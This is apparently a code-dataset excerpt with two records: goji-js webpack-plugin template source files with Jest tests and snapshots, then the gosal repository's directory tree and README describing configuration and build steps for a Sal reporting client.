"packages\\webpack-plugin\\src\\templates\\index.ts": "import { withContext, CommonContext, CommonContextType } from './helpers/context';\n\nexport const renderTemplate = <R>(contextValue: CommonContextType, callback: () => R) =>\n withContext(CommonContext, contextValue, callback);\n", "packages\\webpack-plugin\\src\\templates\\commons\\wrapped.ts": "import { camelCase } from 'lodash';\nimport { getIds } from '../helpers/ids';\nimport { t } from '../helpers/t';\n\nexport interface WrappedConfig {\n memorizedProps?: Array<string>;\n customizedEventHandler?: Record<string, string>;\n customizedChildren?: () => string;\n}\n\nexport const DEFAULT_WRAPPED_CONFIG: WrappedConfig = {};\n\n/**\n * This function is designed fro convert an uncontrolled component to a controlled component.\n * E.g. when input on an `<input>` it always re-render and then emit the `bindinput` event, in this\n * case there is no need to re-render the component again. So we can update `this.data` directly and\n * `observer` would not update the data anymore.\n */\nexport const updateInternalValueHandler = (eventName: string, propName: string) => t`\n ${camelCase(`on-${eventName}`)}(evt) {\n this.data.${camelCase(`internal-${propName}`)}.value = evt.detail.value;\n this.e(evt);\n },`;\n\nexport const WRAPPED_CONFIGS: Record<string, WrappedConfig> = {\n input: {\n memorizedProps: ['value', 'focus'],\n customizedEventHandler: {\n input: updateInternalValueHandler('input', 'value'),\n },\n },\n map: {\n memorizedProps: ['longitude', 'latitude', 'scale'],\n customizedEventHandler: {\n // there is a bug on WeChat that the `evt.type` of `regionchange` is not consistent with its name\n regionchange: t`\n onRegionchange(evt) {\n evt.type = 'regionchange';\n this.e(evt);\n },\n `,\n },\n },\n 'scroll-view': {\n memorizedProps: ['scroll-top', 'scroll-left', 'scroll-into-view'],\n },\n textarea: {\n memorizedProps: ['value', 'focus'],\n customizedEventHandler: {\n input: updateInternalValueHandler('input', 'value'),\n },\n },\n swiper: {\n memorizedProps: ['current'],\n // should manually flat the `swiper-item` here as `swiper` required https://developers.weixin.qq.com/miniprogram/dev/component/swiper.html\n // we assume there won't be any other elements except `swiper-item`\n // don't use style here because WeChat's bug https://developers.weixin.qq.com/community/develop/doc/00064c6c9a4650420e59218ea5ac00\n customizedChildren: () => {\n const ids = getIds();\n\n return t`\n <swiper-item\n wx:for=\"{{${ids.meta}.${ids.children}}}\"\n wx:key=\"${ids.gojiId}\"\n wx:for-item=\"${ids.meta}\"\n class=\"{{${ids.meta}.${ids.props}.className}}\"\n item-id=\"{{${ids.meta}.${ids.props}.itemId}}\"\n data-goji-id=\"{{${ids.meta}.${ids.gojiId}}}\"\n >\n <include src=\"../children1.wxml\" />\n </swiper-item>\n `;\n },\n },\n};\n", "packages\\webpack-plugin\\src\\templates\\components\\wrapped.js.ts": "import camelCase from 'lodash/camelCase';\nimport { ComponentDesc, ComponentPropDesc } from '../../constants/components';\nimport { PluginComponentDesc } from '../../utils/pluginComponent';\nimport { WRAPPED_CONFIGS, DEFAULT_WRAPPED_CONFIG, WrappedConfig } from '../commons/wrapped';\nimport { getIds } from '../helpers/ids';\nimport { t } from '../helpers/t';\n\nconst DEFAULT_VALUE_FROM_TYPE: Record<ComponentPropDesc['type'], any> = {\n String: '',\n Number: 0,\n Boolean: false,\n Object: {},\n Array: [],\n};\n\n/**\n * There are 2 types of props of a wrapped component:\n * 1. Most of props can be used directly in the wrapped component, e.g. `className`, `style`, `id`.\n * 2. Some props cause unexpected behaviors when re-rendering, e.g. the `current` prop of `swiper`.\n * For case 2, we need to memorize the value of the prop and update it only if it's really changed.\n */\nexport const processWrappedProps = ({\n component,\n config,\n}: {\n component: ComponentDesc | PluginComponentDesc;\n config: WrappedConfig;\n}) => {\n const ids = getIds();\n const data: Array<string> = [];\n const metaObserverChecks: Array<string> = [];\n const attachedInitData: Array<string> = [];\n\n for (const [propName, propDesc] of Object.entries(component.props)) {\n if (config.memorizedProps?.includes(propName)) {\n const camelCasePropName = camelCase(propName);\n const camelCaseInternalPropName = camelCase(`internal-${propName}`);\n const defaultValue = JSON.stringify(\n propDesc.defaultValue ?? DEFAULT_VALUE_FROM_TYPE[propDesc.type],\n );\n // we use `{ prop: { value: 'the value' } }` instead of `{ prop: 'the value' }` because\n // `setData` will fail if any field of the object is `undefined`.\n data.push(t`\n ${camelCaseInternalPropName}: {\n value: ${defaultValue}\n },\n `);\n attachedInitData.push(t`\n ${camelCaseInternalPropName}: {\n value: this.properties.${ids.meta}.${ids.props}.${camelCasePropName}\n },\n `);\n metaObserverChecks.push(t`\n if (this.properties.${ids.meta}.${ids.props}.${camelCasePropName} !== this.data.${camelCaseInternalPropName}.value) {\n update.${camelCaseInternalPropName} = {\n value: this.properties.${ids.meta}.${ids.props}.${camelCasePropName}\n };\n }\n `);\n }\n }\n\n const properties: Array<string> = [\n t`\n ${ids.meta}: {\n type: Object,\n observer() {\n var update = {};\n ${metaObserverChecks}\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n `,\n ];\n\n return { data, properties, attachedInitData };\n};\n\nexport const processWrappedEvents = ({\n component,\n config,\n}: {\n component: ComponentDesc | PluginComponentDesc;\n config: WrappedConfig;\n}) => {\n // add custom event handlers\n const methods: Array<string> = [\n t`\n e(evt) {\n Object.e.trigger(evt);\n },\n `,\n ];\n if ('events' in component) {\n for (const event of component.events) {\n if (config.customizedEventHandler?.[event]) {\n methods.push(config.customizedEventHandler[event]);\n }\n }\n }\n\n return { methods };\n};\n\nexport const wrappedJs = ({ component }: { component: ComponentDesc | PluginComponentDesc }) => {\n const ids = getIds();\n const config = WRAPPED_CONFIGS[component.name] ?? DEFAULT_WRAPPED_CONFIG;\n const { data, properties, attachedInitData } = processWrappedProps({ config, component });\n const { methods } = processWrappedEvents({ config, component });\n\n return t`\n Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n ${data}\n },\n properties: {\n ${properties}\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.${ids.meta}.${ids.gojiId}, this);\n ${\n attachedInitData.length > 0 &&\n t`\n this.setData({\n ${attachedInitData}\n });\n `\n }\n },\n detached() {\n Object.e.subtreeDetached(this.properties.${ids.meta}.${ids.gojiId});\n },\n },\n methods: {\n ${methods}\n },\n });\n `;\n};\n", "packages\\webpack-plugin\\src\\templates\\components\\wrapped.json.ts": "import { ComponentDesc } from '../../constants/components';\nimport { PluginComponentDesc } from '../../utils/pluginComponent';\nimport { nativeComponentJson } from '../commons/nativeComponentJson';\n\nexport const wrappedJson = ({\n relativePathToBridge,\n component,\n components,\n pluginComponents,\n}: {\n relativePathToBridge: string;\n component: ComponentDesc | PluginComponentDesc;\n components: ComponentDesc[];\n pluginComponents: PluginComponentDesc[];\n}) =>\n nativeComponentJson({\n isComponent: true,\n isLeaf: component.isLeaf ?? false,\n relativePathToBridge,\n components,\n pluginComponents,\n });\n", "packages\\webpack-plugin\\src\\templates\\components\\wrapped.wxml.ts": "import camelCase from 'lodash/camelCase';\nimport { ComponentDesc } from '../../constants/components';\nimport { getFeatures } from '../../constants/features';\nimport { PluginComponentDesc } from '../../utils/pluginComponent';\nimport { WRAPPED_CONFIGS, DEFAULT_WRAPPED_CONFIG } from '../commons/wrapped';\nimport { element, getEventName } from '../commons/wxmlElement';\nimport { CommonContext } from '../helpers/context';\nimport { getIds } from '../helpers/ids';\nimport { t } from '../helpers/t';\nimport { childrenWxml } from './children.wxml';\nimport { mapComponentPropsToAttributes, componentAttribute } from './components.wxml';\n\nexport const wrappedWxml = ({ component }: { component: ComponentDesc | PluginComponentDesc }) => {\n const ids = getIds();\n const { target } = CommonContext.read();\n const config = WRAPPED_CONFIGS[component.name] ?? DEFAULT_WRAPPED_CONFIG;\n const attributes: Array<string> = [\n `data-goji-id=\"{{${ids.meta}.${ids.gojiId} || -1}}\"`,\n // common attributes\n componentAttribute({ name: 'class', value: 'className' }),\n componentAttribute({ name: 'id', value: 'id' }),\n componentAttribute({ name: 'style', value: 'style', fallback: '' }),\n ...mapComponentPropsToAttributes(component).map(_ =>\n config.memorizedProps?.includes(_.name)\n ? // element attributes with memorized\n `${_.name}=\"{{${camelCase(`internal-${_.name}`)}.value}}\"`\n : // element attributes without memorized\n componentAttribute(_),\n ),\n ];\n\n // add events\n if ('events' in component) {\n for (const event of component.events) {\n const eventName = getEventName({ target, event });\n if (config.customizedEventHandler?.[event]) {\n attributes.push(`${eventName}=\"${camelCase(`on-${event}`)}\"`);\n } else {\n attributes.push(`${eventName}=\"e\"`);\n }\n }\n }\n\n const children = (() => {\n if (config.customizedChildren) {\n return config.customizedChildren();\n }\n if (component.isLeaf) {\n return '';\n }\n const { useInlineChildrenInItem } = getFeatures(CommonContext.read().target);\n if (useInlineChildrenInItem) {\n return childrenWxml({\n relativePathToBridge: '..',\n componentDepth: 0,\n });\n }\n return t`\n <include src=\"../children0.wxml\" />\n `;\n })();\n\n return element({ tagName: component.name, attributes, children });\n};\n", "packages\\webpack-plugin\\src\\templates\\components\\components.wxml\\index.tsx": "import { GojiTarget } from '@goji/core';\nimport camelCase from 'lodash/camelCase';\nimport { ComponentDesc } from '../../../constants/components';\nimport { getFeatures } from '../../../constants/features';\nimport { AllComponentDesc, isWrapped, SimplifiedComponentDesc } from '../../../utils/components';\nimport { PluginComponentDesc } from '../../../utils/pluginComponent';\nimport {\n element,\n getComponentTagName,\n getConditionFromSidOrName,\n getEventName,\n} from '../../commons/wxmlElement';\nimport { CommonContext } from '../../helpers/context';\nimport { getIds } from '../../helpers/ids';\nimport { t } from '../../helpers/t';\nimport { childrenWxml, noNeedImport } from '../children.wxml';\nimport { FlattenText, FlattenSwiper } from './flatten';\nimport { leafComponentItems } from '../leaf-components.wxml';\n\nexport const componentAttribute = ({\n name,\n value,\n fallback,\n}: {\n name: string;\n value: string;\n fallback?: any;\n}) => {\n const ids = getIds();\n switch (typeof fallback) {\n case 'undefined':\n return t`${name}=\"{{${ids.meta}.${ids.props}.${value}}}\"`;\n case 'string':\n return t`${name}=\"{{${ids.meta}.${ids.props}.${value} || '${fallback}'}}\"`;\n default:\n return t`${name}=\"{{${ids.meta}.${ids.props}.${value} === undefined ? ${JSON.stringify(\n fallback,\n )} : ${ids.meta}.${ids.props}.${value} }}\"`;\n }\n};\n\n// FIXME: Baidu has a bug that we have to add default value for input's password\n// swanide://fragment/543afd77cf5244addd3f67158948c8b71571973909208\nconst forceRenderFallback = (target: GojiTarget, componentName: string, propsName: string) => {\n if (target === 'baidu' && componentName === 'input' && propsName === 'password') {\n return true;\n }\n return false;\n};\n\nexport const mapComponentPropsToAttributes = (component: AllComponentDesc) => {\n const { target } = CommonContext.read();\n return Object.entries(component.props).map(([name, desc]) => {\n if (\n (!desc.required && desc.defaultValue) ||\n forceRenderFallback(target, component.name, name)\n ) {\n return {\n name,\n value: camelCase(name),\n fallback: desc.defaultValue,\n };\n }\n\n return {\n name,\n value: camelCase(name),\n };\n });\n};\n\nexport const componentAttributes = ({ component }: { component: AllComponentDesc }) => {\n const ids = getIds();\n const { target } = CommonContext.read();\n // all attributes should be handle inside the wrapped component\n if (isWrapped(component)) {\n return [`${ids.meta}=\"{{${ids.meta}}}\"`];\n }\n\n return [\n `data-goji-id=\"{{${ids.meta}.${ids.gojiId} || -1}}\"`,\n // common attributes\n componentAttribute({ name: 'class', value: 'className' }),\n componentAttribute({ name: 'id', value: 'id' }),\n componentAttribute({ name: 'style', value: 'style', fallback: '' }),\n // element attributes\n ...mapComponentPropsToAttributes(component).map(componentAttribute),\n // event event handlers\n ...('events' in component\n ? component.events.map(event => t`${getEventName({ target, event })}=\"e\"`)\n : []),\n ];\n};\n\nexport const useSubtreeAsChildren = Symbol('use subtree instead of children template');\n\nexport const componentItem = ({\n component,\n componentDepth,\n childrenDepth,\n}: {\n component: AllComponentDesc;\n componentDepth: number;\n childrenDepth: number | typeof useSubtreeAsChildren;\n}) => {\n const ids = getIds();\n const { useInlineChildrenInComponent } = getFeatures(CommonContext.read().target);\n const tagName = getComponentTagName(component);\n const attributes = componentAttributes({ component });\n const children = ((): string => {\n if (isWrapped(component) || component.isLeaf) {\n return '';\n }\n // cannot use <include> in <template> on Alipay\n // https://github.com/airbnb/goji-js/issues/140\n if (useInlineChildrenInComponent) {\n return childrenWxml({\n relativePathToBridge: noNeedImport,\n componentDepth,\n });\n }\n\n if (childrenDepth === useSubtreeAsChildren) {\n return t`\n <goji-subtree ${ids.meta}=\"{{${ids.meta}}}\" />\n `;\n }\n\n return t`\n <include src=\"./children${childrenDepth}.wxml\" />\n `;\n })();\n\n return t`\n <block wx:elif=\"{{${getConditionFromSidOrName(component)}}}\">\n ${element({ tagName, attributes, children })}\n </block>\n `;\n};\n\nexport const componentWxml = ({\n componentDepth,\n childrenDepth,\n useInlineLeafComponents,\n useFlattenSwiper,\n components,\n simplifiedComponents,\n pluginComponents,\n}: {\n componentDepth: number;\n childrenDepth: number | typeof useSubtreeAsChildren;\n useInlineLeafComponents: boolean;\n useFlattenSwiper: boolean;\n components: Array<ComponentDesc>;\n simplifiedComponents: Array<SimplifiedComponentDesc>;\n pluginComponents: Array<PluginComponentDesc>;\n}) => {\n const ids = getIds();\n const { useFlattenText } = getFeatures(CommonContext.read().target);\n\n return t`\n <template name=\"$$GOJI_COMPONENT${componentDepth}\">\n <block wx:if=\"{{${ids.meta}.${ids.type} === 'GOJI_TYPE_TEXT'}}\">{{${ids.meta}.${\n ids.text\n }}}</block>\n <block wx:elif=\"{{${ids.meta}.${ids.type} === 'GOJI_TYPE_SUBTREE'}}\">\n <goji-subtree ${ids.meta}=\"{{${ids.meta}}}\" class=\"{{${ids.meta}.${\n ids.props\n }.className}}\" style=\"{{${ids.meta}.${ids.props}.style || ''}}\"/>\n </block>\n ${useFlattenText && FlattenText()}\n ${useFlattenSwiper && FlattenSwiper()}\n ${\n // render simplified components first for better performance\n [...simplifiedComponents, ...components, ...pluginComponents]\n .filter(_ => !_.isLeaf)\n .map(component => componentItem({ component, componentDepth, childrenDepth }))\n }\n ${\n useInlineLeafComponents\n ? leafComponentItems({\n components,\n simplifiedComponents,\n pluginComponents,\n })\n : t`\n <block wx:else>\n <include src=\"./leaf-components.wxml\" />\n </block>\n `\n }\n </template>\n `;\n};\n", "packages\\webpack-plugin\\src\\templates\\components\\__tests__\\wrapped.js.test.tsx": "import { renderTemplate } from '../..';\nimport { ComponentDesc, getBuiltInComponents } from '../../../constants/components';\nimport { updateInternalValueHandler, WrappedConfig } from '../../commons/wrapped';\nimport { t } from '../../helpers/t';\nimport { processWrappedEvents, processWrappedProps, wrappedJs } from '../wrapped.js';\n\ndescribe('wrapped.js', () => {\n const mockMapComponent: ComponentDesc = {\n name: 'view',\n props: {\n scale: {\n defaultValue: 16,\n type: 'Number',\n required: false,\n },\n rotate: {\n defaultValue: 0,\n type: 'Number',\n required: false,\n },\n },\n events: ['regionchange', 'poitap', 'input'],\n isLeaf: false,\n isWrapped: true,\n };\n const mockConfig: WrappedConfig = {\n memorizedProps: ['scale'],\n customizedEventHandler: {\n // there is a bug on WeChat that the `evt.type` of `regionchange` is not consistent with its name\n regionchange: t`\n onRegionchange(evt) {\n evt.type = 'regionchange';\n this.e(evt);\n },`,\n input: updateInternalValueHandler('input', 'value'),\n },\n };\n\n test('process props', () => {\n const result = renderTemplate({ target: 'wechat', nodeEnv: 'development' }, () =>\n processWrappedProps({\n component: mockMapComponent,\n config: mockConfig,\n }),\n );\n expect(result.data).toMatchSnapshot('data');\n expect(result.properties).toMatchSnapshot('properties');\n expect(result.attachedInitData).toMatchSnapshot('attachedInitData');\n });\n\n test('process events', () => {\n const result = processWrappedEvents({\n component: mockMapComponent,\n config: mockConfig,\n });\n expect(result.methods.find(_ => /onRegionchange/.test(_))).toBe(\n t`\n onRegionchange(evt) {\n evt.type = 'regionchange';\n this.e(evt);\n },`,\n );\n expect(result.methods.find(_ => /onInput/.test(_))).toBe(\n t`\n onInput(evt) {\n this.data.internalValue.value = evt.detail.value;\n this.e(evt);\n },`,\n );\n });\n\n test('snapshot works', () => {\n const components = getBuiltInComponents('wechat');\n const getResult = (name: string) =>\n renderTemplate({ target: 'wechat', nodeEnv: 'development' }, () =>\n wrappedJs({ component: components.find(_ => _.name === name)! }),\n );\n expect(getResult('map')).toMatchSnapshot('map');\n expect(getResult('input')).toMatchSnapshot('input');\n expect(getResult('textarea')).toMatchSnapshot('textarea');\n expect(getResult('textarea')).toMatchSnapshot('textarea');\n expect(getResult('scroll-view')).toMatchSnapshot('scroll-view');\n expect(getResult('swiper')).toMatchSnapshot('swiper');\n });\n});\n", "packages\\webpack-plugin\\src\\templates\\components\\__tests__\\__snapshots__\\wrapped.js.test.tsx.snap": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`wrapped.js process props: attachedInitData 1`] = `\nArray [\n \"internalScale: {\n value: this.properties.meta.props.scale\n},\",\n]\n`;\n\nexports[`wrapped.js process props: data 1`] = `\nArray [\n \"internalScale: {\n value: 16\n},\",\n]\n`;\n\nexports[`wrapped.js process props: properties 1`] = `\nArray [\n \"meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.scale !== this.data.internalScale.value) {\n update.internalScale = {\n value: this.properties.meta.props.scale\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n},\",\n]\n`;\n\nexports[`wrapped.js snapshot works: input 1`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalValue: {\n value: \\\\\"\\\\\"\n },\n internalFocus: {\n value: false\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.value !== this.data.internalValue.value) {\n update.internalValue = {\n value: this.properties.meta.props.value\n };\n }\n if (this.properties.meta.props.focus !== this.data.internalFocus.value) {\n update.internalFocus = {\n value: this.properties.meta.props.focus\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalValue: {\n value: this.properties.meta.props.value\n },\n internalFocus: {\n value: this.properties.meta.props.focus\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n onInput(evt) {\n this.data.internalValue.value = evt.detail.value;\n this.e(evt);\n },\n },\n});\"\n`;\n\nexports[`wrapped.js snapshot works: map 1`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalLongitude: {\n value: 0\n },\n internalLatitude: {\n value: 0\n },\n internalScale: {\n value: 16\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.longitude !== this.data.internalLongitude.value) {\n update.internalLongitude = {\n value: this.properties.meta.props.longitude\n };\n }\n if (this.properties.meta.props.latitude !== this.data.internalLatitude.value) {\n update.internalLatitude = {\n value: this.properties.meta.props.latitude\n };\n }\n if (this.properties.meta.props.scale !== this.data.internalScale.value) {\n update.internalScale = {\n value: this.properties.meta.props.scale\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalLongitude: {\n value: this.properties.meta.props.longitude\n },\n internalLatitude: {\n value: this.properties.meta.props.latitude\n },\n internalScale: {\n value: this.properties.meta.props.scale\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n onRegionchange(evt) {\n evt.type = 'regionchange';\n this.e(evt);\n },\n },\n});\"\n`;\n\nexports[`wrapped.js snapshot works: scroll-view 1`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalScrollTop: {\n value: \\\\\"\\\\\"\n },\n internalScrollLeft: {\n value: \\\\\"\\\\\"\n },\n internalScrollIntoView: {\n value: \\\\\"\\\\\"\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.scrollTop !== this.data.internalScrollTop.value) {\n update.internalScrollTop = {\n value: this.properties.meta.props.scrollTop\n };\n }\n if (this.properties.meta.props.scrollLeft !== this.data.internalScrollLeft.value) {\n update.internalScrollLeft = {\n value: this.properties.meta.props.scrollLeft\n };\n }\n if (this.properties.meta.props.scrollIntoView !== this.data.internalScrollIntoView.value) {\n update.internalScrollIntoView = {\n value: this.properties.meta.props.scrollIntoView\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalScrollTop: {\n value: this.properties.meta.props.scrollTop\n },\n internalScrollLeft: {\n value: this.properties.meta.props.scrollLeft\n },\n internalScrollIntoView: {\n value: this.properties.meta.props.scrollIntoView\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n },\n});\"\n`;\n\nexports[`wrapped.js snapshot works: swiper 1`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalCurrent: {\n value: 0\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.current !== this.data.internalCurrent.value) {\n update.internalCurrent = {\n value: this.properties.meta.props.current\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalCurrent: {\n value: this.properties.meta.props.current\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n },\n});\"\n`;\n\nexports[`wrapped.js snapshot works: textarea 1`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalValue: {\n value: \\\\\"\\\\\"\n },\n internalFocus: {\n value: false\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.value !== this.data.internalValue.value) {\n update.internalValue = {\n value: this.properties.meta.props.value\n };\n }\n if (this.properties.meta.props.focus !== this.data.internalFocus.value) {\n update.internalFocus = {\n value: this.properties.meta.props.focus\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalValue: {\n value: this.properties.meta.props.value\n },\n internalFocus: {\n value: this.properties.meta.props.focus\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n onInput(evt) {\n this.data.internalValue.value = evt.detail.value;\n this.e(evt);\n },\n },\n});\"\n`;\n\nexports[`wrapped.js snapshot works: textarea 2`] = `\n\"Component({\n options: {\n addGlobalClass: true,\n },\n data: {\n internalValue: {\n value: \\\\\"\\\\\"\n },\n internalFocus: {\n value: false\n },\n },\n properties: {\n meta: {\n type: Object,\n observer() {\n var update = {};\n if (this.properties.meta.props.value !== this.data.internalValue.value) {\n update.internalValue = {\n value: this.properties.meta.props.value\n };\n }\n if (this.properties.meta.props.focus !== this.data.internalFocus.value) {\n update.internalFocus = {\n value: this.properties.meta.props.focus\n };\n }\n if (Object.keys(update)) {\n this.setData(update);\n }\n },\n },\n },\n lifetimes: {\n attached() {\n Object.e.subtreeAttached(this.properties.meta.gojiId, this);\n this.setData({\n internalValue: {\n value: this.properties.meta.props.value\n },\n internalFocus: {\n value: this.properties.meta.props.focus\n },\n });\n },\n detached() {\n Object.e.subtreeDetached(this.properties.meta.gojiId);\n },\n },\n methods: {\n e(evt) {\n Object.e.trigger(evt);\n },\n onInput(evt) {\n this.data.internalValue.value = evt.detail.value;\n this.e(evt);\n },\n },\n});\"\n`;\n", "packages\\webpack-plugin\\src\\types\\index.ts": "import type { GojiTarget } from '@goji/core';\nimport webpack from 'webpack';\n\n/**\n * This interface is used for internal plugins\n */\nexport interface GojiWebpackPluginRequiredOptions {\n target: GojiTarget;\n nodeEnv: string;\n maxDepth: number;\n minimize: boolean;\n nohoist: {\n enable: boolean;\n maxPackages: number;\n test?: string | RegExp | ((module: webpack.Module, chunks: Array<webpack.Chunk>) => boolean);\n };\n}\n\n/**\n * This interface is used for create new GojiWebpackPlugin\n */\nexport interface GojiWebpackPluginOptions {\n target: GojiTarget;\n nodeEnv?: string;\n maxDepth?: number;\n minimize?: boolean;\n nohoist?: {\n enable?: boolean;\n maxPackages?: number;\n test?: string | RegExp | ((module: webpack.Module, chunks: Array<webpack.Chunk>) => boolean);\n };\n}\n\nexport interface AppSubpackage {\n root?: string;\n pages?: Array<string>;\n independent?: boolean;\n}\n\nexport interface AppConfig {\n pages?: Array<string>;\n subpackages?: Array<AppSubpackage>;\n subPackages?: Array<AppSubpackage>;\n}\n", "packages\\webpack-plugin\\src\\utils\\render\\index.ts": "import JSON5 from 'json5';\nimport { GojiWebpackPluginOptions } from '../../types';\nimport { wxmlToSwan } from './wxmlToSwan';\n\nexport const transformTemplate = async (\n source: string,\n target: GojiWebpackPluginOptions['target'],\n type: string,\n) => {\n if (type === 'json') {\n // format the JSON file\n return JSON.stringify(JSON5.parse(source), null, 2);\n }\n switch (target) {\n case 'wechat':\n return source;\n case 'qq':\n return source;\n case 'baidu': {\n switch (type) {\n case 'wxml': {\n return wxmlToSwan(source);\n }\n case 'js': {\n return source;\n }\n default:\n return source;\n }\n }\n case 'alipay':\n switch (type) {\n case 'wxml':\n return source.replace(/wx:/g, 'a:').replace(/\\.wxml/g, '.axml');\n case 'js':\n return source;\n default:\n return source;\n }\n case 'toutiao':\n switch (type) {\n case 'wxml':\n return source.replace(/wx:/g, 'tt:').replace(/\\.wxml/g, '.ttml');\n case 'wxss':\n return (\n source\n // on Toutiao, the whitespace around `*` and `/` in `calc` must be reserved\n // see https://github.com/airbnb/goji-js/issues/159\n .replace(/rpx([*/]{1})/g, 'rpx $1')\n );\n default:\n return source;\n }\n default:\n return source;\n }\n};\n", "packages\\webpack-plugin\\src\\utils\\render\\wxmlToSwan\\index.ts": "import posthtml from 'posthtml';\nimport { parser } from 'posthtml-parser';\nimport {\n addBracketsToTemplateData,\n includeAndImportSrcExt,\n removeDirectiveBrackets,\n transformConditionDirective,\n transformLoopDirective,\n} from './plugins';\nimport { render } from './render';\n\nexport const wxmlToSwan = async (source: string) => {\n const { html } = await posthtml([\n removeDirectiveBrackets(),\n transformConditionDirective(),\n transformLoopDirective(),\n includeAndImportSrcExt(),\n addBracketsToTemplateData(),\n ]).process(source, {\n parser: (node: Parameters<typeof parser>[0]) => parser(node, { xmlMode: true }),\n render,\n });\n\n return html;\n};\n"} | null |
gosal | {"type": "directory", "name": "gosal", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "directory", "name": "cmd", "children": [{"type": "directory", "name": "gosal", "children": [{"type": "file", "name": "gosal.go"}]}]}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "config.go"}]}, {"type": "file", "name": "go.mod"}, {"type": "file", "name": "go.sum"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "sal", "children": [{"type": "file", "name": "sal.go"}, {"type": "file", "name": "sal_test.go"}]}, {"type": "directory", "name": "version", "children": [{"type": "file", "name": "version.go"}, {"type": "file", "name": "version_test.go"}]}, {"type": "directory", "name": "xpreports", "children": [{"type": "file", "name": "build_darwin.go"}, {"type": "file", "name": "build_linux.go"}, {"type": "file", "name": "build_windows.go"}, {"type": "directory", "name": "cm", "children": [{"type": "file", "name": "cm.go"}, {"type": "file", "name": "cm_test.go"}]}, {"type": "directory", "name": "linux", "children": [{"type": "file", "name": "computersystem.go"}, {"type": "file", "name": "processor.go"}, {"type": "file", "name": "rootvolume.go"}, {"type": "file", "name": "serial.go"}, {"type": "file", "name": "users.go"}]}, {"type": "file", "name": "reports.go"}, {"type": "directory", "name": "windows", "children": [{"type": "file", "name": "win32_bios.go"}, {"type": "file", "name": "win32_computersystem.go"}, {"type": "file", "name": "win32_logicaldisk.go"}, {"type": "file", "name": "win32_os.go"}, {"type": "file", "name": "win32_processor.go"}]}]}]} | # Gosal (sal-client)
_Due to major changes in Sal4's checkin method, people who run Sal3 should checkout the Sal3 branch and build from there._
## Overview
Gosal is intended to be a multi platform client for sal, Gosal does not provide a complete 1-2-1 mapping of reporting info compared to Sal for macOS PRs are welcome.
## Getting Started
Your configuration file should be `json` formatted as follows:
```json
{
"key": "your gigantic machine group key",
"url": "https://urltoyourserver.com",
"management": {
"tool": "puppet",
"path": "C:\\Program Files\\Puppet Labs\\Puppet\\bin\\puppet.bat",
"command": "facts"
}
}
```
# Running gosal
Gosal requires the configuration file to be passed in as an argument like so...
#### Windows Example
`gosal.exe --config "C:\path\to\config.json"`
# Building Sal3
To build the project after cloning:
```
make deps
make build
```
Gosal OS specific binaries will be added to the `build/` directory.
# Building Sal4
Sal4 (master) is switching to go.mod!
## Dependencies
Gosal uses [go-modules](https://blog.golang.org/using-go-modules) to manage external dependencies. Run `make deps` to install/update the required dependencies.
After adding a new dependency, run `mod verify` & `go mod tidy`, which will update the mod.go & mod.sum file.
## Formatting your code
Go has an exceptional formatter - please use it!
```
gofmt -s -w *.go
gofmt -s -w ./*/*.go
```
